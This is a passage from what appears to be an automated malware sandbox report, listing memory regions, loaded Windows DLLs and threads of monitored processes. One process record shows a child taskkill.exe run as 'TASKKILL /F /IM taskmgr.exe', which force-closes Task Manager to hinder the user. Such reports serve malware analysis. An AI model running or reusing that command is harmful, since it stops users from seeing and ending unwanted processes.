0x753fbfff entry_point = 0x753f10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 4913 start_va = 0x75400000 end_va = 0x7545ffff entry_point = 0x7541a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 4914 start_va = 0x755a0000 end_va = 0x7564bfff entry_point = 0x755aa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 4915 start_va = 0x763f0000 end_va = 0x7648ffff entry_point = 0x764049e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 4916 start_va = 0x76520000 end_va = 0x7662ffff entry_point = 0x765332d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 4917 start_va = 0x76690000 end_va = 0x7677ffff entry_point = 0x766a0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 4918 start_va = 0x76780000 end_va = 0x767d6fff entry_point = 0x76799ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 4919 start_va = 0x76910000 end_va = 0x7699efff entry_point = 0x76913fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 4920 start_va = 0x769a0000 end_va = 0x769b8fff entry_point = 0x769a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 4921 start_va = 0x76c80000 end_va = 0x76c85fff entry_point = 0x76c81782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 4922 start_va = 0x76c90000 end_va = 0x76d2cfff entry_point = 0x76cc3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 4923 start_va = 0x76d30000 end_va = 0x76e8bfff entry_point = 0x76d7ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 4924 start_va = 0x76ea0000 end_va = 0x76ea9fff entry_point = 0x76ea36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 4925 start_va = 0x77130000 end_va = 0x77164fff entry_point = 0x7713145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 4926 start_va = 0x772c0000 end_va = 0x77305fff entry_point = 0x772c7478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 4927 start_va = 0x77310000 end_va = 0x7740ffff entry_point = 0x7732b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 4928 start_va = 0x77410000 end_va = 0x7749ffff entry_point = 0x77426343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 4929 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4930 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4931 start_va = 0x680000 end_va = 0x807fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000680000" filename = "" Region: id = 4932 start_va = 0x767e0000 end_va = 0x7683ffff entry_point = 0x767f158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 4933 start_va = 0x771f0000 end_va = 0x772bbfff entry_point = 0x771f168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 4934 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4935 start_va = 0x120000 end_va = 0x121fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 4936 start_va = 0x130000 end_va = 0x133fff entry_point = 0x130000 region_type = mapped_file name = "taskkill.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\taskkill.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\taskkill.exe.mui") Region: id = 4937 start_va = 0x140000 end_va = 0x140fff entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 4938 start_va = 0x150000 end_va = 0x150fff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 4939 start_va = 0x160000 end_va = 0x160fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 4940 start_va = 0x270000 end_va = 0x2affff entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 4941 start_va = 0x300000 end_va = 0x3bffff entry_point = 0x300000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 4942 start_va = 0x5d0000 end_va = 0x60ffff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 4943 start_va = 0x810000 end_va = 0x990fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000810000" filename = "" Region: id = 4944 start_va = 0x9a0000 end_va = 0x1d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009a0000" filename = "" Region: id = 4945 start_va = 0x1f80000 end_va = 0x1fbffff entry_point = 0x0 region_type = private name = "private_0x0000000001f80000" filename = "" Region: id = 4946 start_va = 0x76490000 end_va = 0x76512fff entry_point = 0x764923d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 4947 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 4948 start_va = 0x170000 end_va = 0x170fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 4949 start_va = 0x74b70000 end_va = 0x74bcbfff entry_point = 0x74b92b48 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll") Region: id = 4950 start_va = 0x74c40000 end_va = 0x74c49fff entry_point = 0x74c4149a region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 4951 start_va = 0x590000 end_va = 0x5cffff entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Region: id = 4952 start_va = 0x1da0000 end_va = 0x1e9ffff entry_point = 0x0 region_type = private name = "private_0x0000000001da0000" filename = "" Region: id = 4953 start_va = 0x74c00000 end_va = 0x74c28fff entry_point = 0x74c06b19 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 4954 start_va = 0x1fc0000 end_va = 0x228efff entry_point = 0x1fc0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4955 start_va = 0x22a0000 end_va = 0x22dffff entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 4956 start_va = 0x2350000 end_va = 0x238ffff entry_point = 0x0 region_type = private name = "private_0x0000000002350000" filename = "" Region: id = 4957 start_va = 0x74460000 end_va = 0x7449afff entry_point = 0x7446128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 4958 start_va = 0x749e0000 end_va = 0x749f5fff entry_point = 0x749e2dc3 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 4959 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 4960 start_va = 0x749d0000 end_va = 0x749ddfff entry_point = 0x749d1235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 4961 start_va = 0x3c0000 end_va = 0x3fffff entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 4962 start_va = 0x500000 end_va = 0x53ffff entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 4963 start_va = 0x22f0000 end_va = 0x232ffff entry_point = 0x0 region_type = private name = "private_0x00000000022f0000" filename = "" Region: id = 4964 start_va = 0x2410000 end_va = 0x244ffff entry_point = 0x0 region_type = private name = "private_0x0000000002410000" filename = "" Region: id = 4965 start_va = 0x74bf0000 end_va = 0x74bfefff entry_point = 0x74bf21a0 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 4966 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 4967 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 4968 start_va = 0x6a880000 end_va = 0x6a915fff entry_point = 0x6a89f8b9 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Region: id = 4969 start_va = 0x74bd0000 end_va = 0x74be7fff entry_point = 0x74bd1335 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll") Thread: id = 299 os_tid = 0x830 Thread: id = 300 os_tid = 0x84c Thread: id = 301 os_tid = 0x85c Thread: id = 302 os_tid = 0x844 Thread: id = 303 os_tid = 0x848 Process: id = "43" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x56752000" os_pid = "0x82c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0xbb0" cmd_line = "TASKKILL /F /IM taskmgr.exe /IM taskmgr.exe" cur_dir = "C:\\Users\\kFT6uTQW\\Desktop\\" os_username = "XABNCPUWKW\\kFT6uTQW" os_groups = "XABNCPUWKW\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ae" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4970 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4971 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 4972 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4973 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 4974 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 4975 start_va = 0x190000 end_va = 0x1cffff entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 4976 start_va = 0x240000 end_va = 0x27ffff entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 4977 start_va = 0xd70000 end_va = 0xd85fff entry_point = 0xd75c89 region_type = mapped_file name = "taskkill.exe" filename = "\\Windows\\SysWOW64\\taskkill.exe" (normalized: "c:\\windows\\syswow64\\taskkill.exe") Region: id = 4978 start_va = 0x776c0000 end_va = 0x77868fff entry_point = 0x776c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4979 start_va = 0x778a0000 end_va = 0x77a1ffff entry_point = 0x778a0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 4980 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 4981 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 4982 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 4983 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 4984 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4985 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4986 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 4987 start_va = 0xc0000 end_va = 0x13ffff entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 4988 start_va = 0x73fd0000 end_va = 0x73fd7fff entry_point = 0x73fd20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 4989 start_va = 0x73fe0000 end_va = 0x7403bfff entry_point = 0x7401f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 4990 start_va = 0x74040000 end_va = 0x7407efff entry_point = 0x7406de78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 4991 start_va = 0x774a0000 end_va = 0x77599fff entry_point = 0x0 region_type = private name = "private_0x00000000774a0000" filename = "" Region: id = 4992 start_va = 0x775a0000 end_va = 0x776befff entry_point = 0x0 region_type = private name = "private_0x00000000775a0000" filename = "" Region: id = 4993 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4994 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 4995 start_va = 0x1d0000 end_va = 0x236fff entry_point = 0x1d0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4996 start_va = 0x2d0000 end_va = 0x3cffff entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 4997 start_va = 0x4c0000 end_va = 0x4cffff entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 4998 start_va = 0x6a830000 end_va = 0x6a91afff entry_point = 0x6a8313ce region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\SysWOW64\\dbghelp.dll" (normalized: "c:\\windows\\syswow64\\dbghelp.dll") Region: id = 4999 start_va = 0x73ba0000 end_va = 0x73bb1fff entry_point = 0x73ba1200 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 5000 start_va = 0x74080000 end_va = 0x74087fff entry_point = 0x740810e9 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 5001 start_va = 0x74b50000 end_va = 0x74b58fff entry_point = 0x74b51220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 5002 start_va = 0x74c40000 end_va = 0x74c4efff entry_point = 0x74c412a1 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 5003 start_va = 0x74c50000 end_va = 0x74c58fff entry_point = 0x74c515a6 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 5004 start_va = 0x74c60000 end_va = 0x74c70fff entry_point = 0x74c61300 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 5005 start_va = 0x74c80000 end_va = 0x74c8cfff entry_point = 0x74c811e0 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\SysWOW64\\wtsapi32.dll" (normalized: "c:\\windows\\syswow64\\wtsapi32.dll") Region: id = 5006 start_va = 0x74c90000 end_va = 0x74cc4fff entry_point = 0x74c913d5 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\SysWOW64\\framedynos.dll" (normalized: "c:\\windows\\syswow64\\framedynos.dll") Region: id = 5007 start_va = 0x75330000 end_va = 0x75348fff entry_point = 0x75331319 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 5008 start_va = 0x753f0000 end_va = 0x753fbfff entry_point = 0x753f10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 5009 start_va = 0x75400000 end_va = 0x7545ffff entry_point = 0x7541a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 5010 start_va = 0x755a0000 end_va = 0x7564bfff entry_point = 0x755aa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 5011 start_va = 0x763f0000 end_va = 0x7648ffff entry_point = 0x764049e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 5012 start_va = 0x76520000 end_va = 0x7662ffff entry_point = 0x765332d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 5013 start_va = 0x76690000 end_va = 0x7677ffff entry_point = 0x766a0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 5014 start_va = 0x76780000 end_va = 0x767d6fff entry_point = 0x76799ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 5015 start_va = 0x76910000 end_va = 0x7699efff entry_point = 0x76913fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 5016 start_va = 0x769a0000 end_va = 0x769b8fff entry_point = 0x769a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 5017 start_va = 0x76c80000 end_va = 0x76c85fff entry_point = 0x76c81782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 5018 start_va = 0x76c90000 end_va = 0x76d2cfff entry_point = 0x76cc3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 5019 start_va = 0x76d30000 end_va = 0x76e8bfff entry_point = 0x76d7ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 5020 start_va = 0x76ea0000 end_va = 0x76ea9fff entry_point = 0x76ea36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 5021 start_va = 0x77130000 end_va = 0x77164fff entry_point = 0x7713145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 5022 start_va = 0x772c0000 end_va = 0x77305fff entry_point = 0x772c7478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 5023 start_va = 0x77310000 end_va = 0x7740ffff entry_point = 0x7732b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 5024 start_va = 0x77410000 end_va = 0x7749ffff entry_point = 0x77426343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 5025 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 5026 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 5027 start_va = 0x4d0000 end_va = 0x657fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004d0000" filename = "" Region: id = 5028 start_va = 0x767e0000 end_va = 0x7683ffff entry_point = 0x767f158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 5029 start_va = 0x771f0000 end_va = 0x772bbfff entry_point = 0x771f168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 5032 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 5033 start_va = 0x70000 end_va = 0x71fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 5034 start_va = 0x80000 end_va = 0x83fff entry_point = 0x80000 region_type = mapped_file name = "taskkill.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\taskkill.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\taskkill.exe.mui") Region: id = 5035 start_va = 0x90000 end_va = 0x90fff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 5036 start_va = 0xa0000 end_va = 0xa0fff entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 5037 start_va = 0xb0000 end_va = 0xb0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000b0000" filename = "" Region: id = 5038 start_va = 0x3d0000 end_va = 0x48ffff entry_point = 0x3d0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 5039 start_va = 0x660000 end_va = 0x7e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000660000" filename = "" Region: id = 5040 start_va = 0x810000 end_va = 0x84ffff entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 5041 start_va = 0x910000 end_va = 0x94ffff entry_point = 0x0 region_type = private name = "private_0x0000000000910000" filename = "" Region: id = 5042 start_va = 0xa00000 end_va = 0xa3ffff entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 5043 start_va = 0xd90000 end_va = 0x218ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d90000" filename = "" Region: id = 5044 start_va = 0x76490000 end_va = 0x76512fff entry_point = 0x764923d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 5045 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 5046 start_va = 0x140000 end_va = 0x140fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 5047 start_va = 0x74bd0000 end_va = 0x74c2bfff entry_point = 0x74bf2b48 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll") Region: id = 5048 start_va = 0x74c30000 end_va = 0x74c39fff entry_point = 0x74c3149a region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 5049 start_va = 0xa40000 end_va = 0xb3ffff entry_point = 0x0 region_type = private name = "private_0x0000000000a40000" filename = "" Region: id = 5050 start_va = 0xb40000 end_va = 0xb7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000b40000" filename = "" Region: id = 5051 start_va = 0x74ba0000 end_va = 0x74bc8fff entry_point = 0x74ba6b19 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 5052 start_va = 0x150000 end_va = 0x18ffff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 5053 start_va = 0x9c0000 end_va = 0x9fffff entry_point = 0x0 region_type = private name = "private_0x00000000009c0000" filename = "" Region: id = 5054 start_va = 0x2190000 end_va = 0x245efff entry_point = 0x2190000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 5055 start_va = 0x74460000 end_va = 0x7449afff entry_point = 0x7446128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 5056 start_va = 0x749e0000 end_va = 0x749f5fff entry_point = 0x749e2dc3 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 5057 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 5058 start_va = 0x749d0000 end_va = 0x749ddfff entry_point = 0x749d1235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 5059 start_va = 0x850000 end_va = 0x88ffff entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 5060 start_va = 0xb90000 end_va = 0xbcffff entry_point = 0x0 region_type = private name = "private_0x0000000000b90000" filename = "" Region: id = 5061 start_va = 0xbd0000 end_va = 0xc0ffff entry_point = 0x0 region_type = private name = "private_0x0000000000bd0000" filename = "" 